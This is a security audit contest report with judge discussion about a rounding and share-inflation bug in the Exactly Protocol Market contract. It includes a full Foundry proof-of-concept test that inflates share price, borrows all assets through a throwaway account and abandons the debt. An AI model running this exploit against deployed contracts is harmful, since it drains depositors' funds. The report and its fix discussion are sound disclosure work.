kankodu - The Rounding Done in Protocol's Favor Can Be Weaponized to Drain the Protocol

[sherlock-admin3]

kankodu

high

The Rounding Done in Protocol's Favor Can Be Weaponized to Drain the Protocol

Summary

• When the totalSupply of a market is 0, an attacker can take advantage of #1 and #2 to drain the entire protocol.

Vulnerability Detail

• The attacker inflates the value of 1 share to a large value, making it sufficient to borrow all the borrowable assets using stealth donation as described in #1 using the original account.
• They create a throwAway account and mint 1 wei of share to that account as well.
  • They put up this 1 wei of share as collateral, borrow all the available assets, and transfer them to the original account.
  • Abandon the market by withdrawing only 1 wei of asset which is allowed, because 1 wei of asset won't be enough to make the position unhealthy (checked using auditor.shortfall at the start of the withdrawal). However, this results in 1 whole wei of share (worth a large value) being burnt due to rounding up. See #2.
  • As a result, the throwaway account will now have 0 collateral and a lot of debt.
• The original account now has the claim to all the assets as they are the only holder of shares. Since the original account never borrowed, they are able to withdraw all the assets. Additionally, they receive all the borrowed assets that the throwaway account sent to it.

Impact

• If the totalSupply of a market is 0, the whole protocol can be drained.

Code Snippet

• https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L726

POC

• Add below testcase in test/Market.t.sol

contract ThrowAwayAccount { function enterMarketAndBorrow(Market exactlyMarketToEnter, Market exactlyMarketToBorrowFrom) public { exactlyMarketToEnter.auditor().enterMarket(exactlyMarketToEnter);

//borrow all the available assets
exactlyMarketToBorrowFrom.borrow(3000 ether, msg.sender, address(this));

//abandon the market by withdrawing only 1 wei of asset
//this is allowed because 1 wei of asset won't be enough to make postion unhealthy (checked using auditor.shortfall at the start in withdraw)
//but results in 1 whole wei of share (worth 8000 ether) being burnt due to rounding up
exactlyMarketToEnter.withdraw(1, address(this), address(this));

//This market will be underwater after that since the 1 wei they deposited as collateral has now been burnt

} }

function testDrainProtocol() external { marketWETH.asset().transfer(BOB, 3000 ether); //this is the deposit that will be stolen later on vm.prank(BOB); marketWETH.deposit(3000 ether, BOB);

//These are attacker's interactions that uses DAI market which has 0 totalSupply to drain the protocol (BOB's 3000 ether in this case)
uint256 wETHBalanceBefore = marketWETH.asset().balanceOf(address(this));
uint256 assetBalanceBefore = market.asset().balanceOf(address(this));
//require that the total Supply is zero
require(market.totalSupply() == 0, "totalSupply is not zero");

//enter the market
market.auditor().enterMarket(market);

//make a small deposit
market.deposit(0.01 ether, address(this));
//borrow even smaller amount
uint256 borrowShares = market.borrow(0.005 ether, address(this), address(this));

//wait for 1 block which is enough so that atleast 1 wei is accured as interest
vm.roll(block.number + 1);
vm.warp(block.timestamp + 10 seconds);

//deposit a few tokens to accure interest
market.deposit(2, address(this));

//repay all the debt
market.refund(borrowShares, address(this));

//redeem all but 1 wei of the deposit
uint256 shares = market.balanceOf(address(this));
market.redeem(shares - 1, address(this), address(this));

require(market.totalAssets() == 2 && market.totalSupply() == 1, "starting conditions are not as expected");

uint256 desiredPricePerShare = 8000 ether;
// The loop to inflate the price
while (true) {
  uint256 sharesReceived = market.deposit(market.totalAssets() * 2 - 1, address(this));
  require(sharesReceived == 1, "sharesReceived is not 1 as expected"); //this should have been 1.99999... for larger values of i but it is rounded down to 1

  if (market.totalAssets() > desiredPricePerShare) break;

  uint256 sharesBurnt = market.withdraw(1, address(this), address(this));
  require(sharesBurnt == 1, "sharesBunrt is not 1 as expected"); //this should have been ~0.0000001 for larger values of i but it is rounded up to 1
}

uint256 sharesBurnt = market.withdraw(market.totalAssets() - desiredPricePerShare, address(this), address(this));
require(sharesBurnt == 1, "sharesBunrt is not 1 as expected");

require(
  market.totalAssets() == desiredPricePerShare && market.totalSupply() == 1, "inflating the price was unsuccessful"
);

ThrowAwayAccount throwAwayAccount = new ThrowAwayAccount();

//mint 1 wei of share (worth 8000 ether) to the throwaway account
market.mint(1, address(throwAwayAccount));
//throwAwayAccount puts up 1 wei of share as collateral, borrows all available assets and then withdraws 1 wei of asset
throwAwayAccount.enterMarketAndBorrow(market, marketWETH);

//this throwaway account now has a lot of debt and no collateral to back it
(uint256 collateral, uint256 debt) = auditor.accountLiquidity(address(throwAwayAccount), Market(address(0)), 0);
assertEq(collateral, 0);
assertGt(debt, 3000 ether);

//attacker gets away with everything
market.withdraw(market.totalAssets(), address(this), address(this));

assertEq(market.asset().balanceOf(address(this)), assetBalanceBefore - 1); //make sure attacker gets back all their assets
//in addtion they get the borrowed assets for free
assertEq(marketWETH.asset().balanceOf(address(this)), wETHBalanceBefore + 3000 ether);

}

## Tool used
Manual Review

## Recommendation
- Fix #1 and #2 

[kankodu]

Escalate The issues mentioned here got scrambled. This report references issues #35 and #40.

If only the inflation attack vector was present, the protocol couldn't be drained. Only in-motion funds after the inflation attack would have been at risk. This issue is different from a simple inflation attack. This results in the entire TVL being drained by taking advantage of issue #40.

[sherlock-admin3]

Escalate The issues mentioned here got scrambled. This report references issues #35 and #40.

If only the inflation attack vector was present, the protocol couldn't be drained. Only in-motion funds after the inflation attack would have been at risk. This issue is different from a simple inflation attack. This results in the entire TVL being drained by taking advantage of issue #40.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[InfectedIsm]

248 and #232 attack path are incorrect btw

For the inflation to be effective, it requires to accrue interest, and to loss to rounding multiple times, while these submissions attack path are based on the naive first depositor inflation attack

[santipu03]

I marked all these issues as duplicates for the following reason:

• Issues 35, 37, 148, 232, and 248 they just describe the basic inflation attack scenario where the funds from the next depositor can be stolen, IMO those should be medium-severity issues.
• Issue 141 uses the inflation attack and it leverages so that the entire TVL of the protocol can be drained, this issue should be a high-severity issue.

Because the root cause of all these issues is the same, i.e. inflating the share value through a donation, according to the Sherlock rules they should be put as duplicates with the highest severity between them all (high).

[kankodu]

There are protocols that choose not to fix the inflation attack because the reasoning is that if an attacker inflates the market, it will be detected and a new market will be deployed instead. Due to issue #40, draining the protocol is possible. The inflation attack is a separate issue, and this one is different. If issue #40 weren't present, draining wouldn't be possible

[santipu03]

As I stated before, all issues in this group have the same root cause (inflation attack) even though they have different impacts. According to the Sherlock rules, all issues with the same root cause should be grouped.

[santichez]

Hey @kankodu , that's a nice finding :) In Exactly's deployment script as soon as a Market is deployed, some shares are deposited and immediately burned and after the timelock schedule and execution, then the Market is finally enabled as collateral. However, the team would like to also work on a simple on-chain fix for this. We were discussing about adding require(totalSupply > 100); at the beginning of the beforeWithdraw hook. What do you think?

Your POC test is not succeeding now.

[kankodu]

We were discussing adding require(totalSupply > 100); at the beginning of the beforeWithdraw hook.

This is not a sufficient solution. Without this check, an attacker would have required x$ of flashloaned amount to steal x$ at a time. With this check, an attacker would still be able to steal x$ at a time with 100x$ of flashloaned amount.

I would recommend burning some shares when the total supply is zero in the contract itself when the first deposit happens. Basically, make sure the total supply cannot go between 0 and SOME_MINIMUM_AMOUNT (10000 wei). See here for how Uniswap v2 does it.

You can also fix this by making sure the total supply is either 0 or greater than SOME_MINIMUM_AMOUNT when depositing and withdrawing so that the first depositor/last withdrawer doesn't lose some dust amounts. See here for how it is done in Sushiswap's BentoBox.

[cvetanovv]

The root cause of this issue and the duplicate issues is the Inflation Attack. Even if the duplicates are Medium severity or describe a slightly different attack, we can duplicate them with a High severity issue according to the rules.

There is a root cause/error/vulnerability A in the code. This vulnerability A -> leads to two attack paths:

• B -> high severity path
• C -> medium severity attack path/just identifying the vulnerability. Both B & C would not have been possible if error A did not exist in the first place. In this case, both B & C should be put together as duplicates.

Planning to reject the escalation and leave the issue as is.

[Evert0x]

Result: High Has Duplicates

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• kankodu: rejected

[InfectedIsm]

FYI, you're validating invalid submission here @cvetanovv @Evert0x Attack path is incorrect and do not lead to inflation, direct donation are not possible because vault do not use balanceOf but a state variable to account for assets The main vector here wait few seconds/minutes such as interest will appear, imbalancing assets and shares, making rounding issue possible then.

248 and #232 attack path are incorrect btw For the inflation to be effective, it requires to accrue interest, and to loss to rounding multiple times, while these submissions attack path are based on the naive first depositor inflation attack

[cvetanovv]

FYI, you're validating invalid submission here @cvetanovv @Evert0x Attack path is incorrect and do not lead to inflation, direct donation are not possible because vault do not use balanceOf but a state variable to account for assets The main vector here wait few seconds/minutes such as interest will appear, imbalancing assets and shares, making rounding issue possible then.

248 and #232 attack path are incorrect btw For the inflation to be effective, it requires to accrue interest, and to loss to rounding multiple times, while these submissions attack path are based on the naive first depositor inflation attack

The Lead Judge duplicated them because they found the issue's root cause in the Market. @santipu03 What do you think about this comment?

[santipu03]

@InfectedIsm I don't quite understand what you mean there.

Are you arguing that this issue (#41) is invalid, as well as all its duplicates? Or are you arguing that issues #248 and #232 should be invalid? If so, explain your reasons clearly, please.

[InfectedIsm]

@santipu03 my bad, #232 seems to have the right attack path.

but #248 don't I think, it describe the "simple" inflation attack and no more, which isn't possible as it is:

In short, to kick-start the attack, the malicious user will often usually mint the smallest possible amount of shares (e.g., 1 wei) and then donate significant assets to the vault to inflate the number of assets per share. Subsequently, it will cause a rounding error when other users deposit.

For the reason #232 describe:

However, in Exactly, there is a safeguards in place to mitigate this attack. The market tracks the number of collateral assets within the state variables. Thus, simply transferring assets to the market directly will not work, and the assets per share will remain the same. Thus, one would need to perform additional steps to workaround/bypass the existing controls. [...]

Then not sure if this attack path works as it is different from other duplicates, but at least seems to grasp the same idea:

Attacker can inflate backupEarnings by sequently depositAtMaturity and borrowAtMaturity. Such operation will not trigger depositToTreasury() because updateFloatingDebt() will always return 0 at a no-debt market.

[santipu03]

@InfectedIsm I agree with you that issue #248 doesn't describe the most important part of the attack path, which is the stealth donation. It seems that issue #248 is just a copy-paste of a report on the classic inflation attack without checking first if it would work within this protocol, and I think it would have been invalidated if judged as a standalone report.

On the other hand, issue #232 describes the following attack path:

Attacker can inflate backupEarnings by sequently depositAtMaturity and borrowAtMaturity. Such operation will not trigger depositToTreasury() because updateFloatingDebt() will always return 0 at a no-debt market.

After analyzing this attack sequence, I've arrived at the conclusion that is invalid. When the attacker deposits at maturity, he won't receive any fee because there are no borrows so the deposited funds will sit idle on the fixed pool. After that, if the attacker borrows at maturity, the fee paid will be considered free lunch so it will be directed to the treasury. After these two operations, the attacker hasn't donated any funds to the floating assets because the funds have been directed to the treasury. In conclusion, following this attack path won't lead to inflating the share price.

After reassessing reports #248 and #232, I believe they should be invalidated because of the lack of a valid attack path, but I honestly don't know if it's allowed to do that at this point. CC. @cvetanovv

[cvetanovv]

We're still in an escalation period, and these duplicates are related to an escalated issue, so we can change them.

I agree that #248 does not specify an attack path and seems like a copy-paste issue.

232 shows the incorrect attack path and, according to the rules, should also be invalid.

In addition to this, there is a submission D which identifies the core issue but does not clearly describe the impact or an attack path. Then D is considered low.

Both issues have found the root cause, but they should be low because of the wrong attack path.

There may soon be improvements to the duplicate rules and it will be easier to identify duplicates.